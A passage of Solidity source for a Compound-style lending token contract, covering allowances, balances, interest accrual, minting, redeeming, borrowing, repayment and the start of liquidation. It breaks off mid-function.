* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external override returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external override view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external override returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR, "balance could not be calculated");
return balance;
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by comptroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external override view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Returns the current per-block borrow interest rate for this cToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external override view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-block supply interest rate for this cToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external override view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public override view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public override view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return (error code, calculated exchange rate scaled by 1e18)
*/
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
/**
* @notice Get cash balance of this cToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external override view returns (uint) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() override public returns (uint) {
/* Remember the initial block number */
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
/* Short-circuit accumulating 0 interest */
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives cTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
}
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the cToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of cTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
/*
* We calculate the new total supply of cTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming cTokens
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems cTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
/* Fail if redeem not allowed */
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
if (totalSupply == 0 && totalBorrows > 0) {
totalReserves = totalReserves - totalBorrows;
totalBorrows = 0;
}
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, vars.redeemAmount);
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount);
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
}
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) {
/* Fail if liquidate not allowed */
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify cTokenCollateral market's block number equals current block number */
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
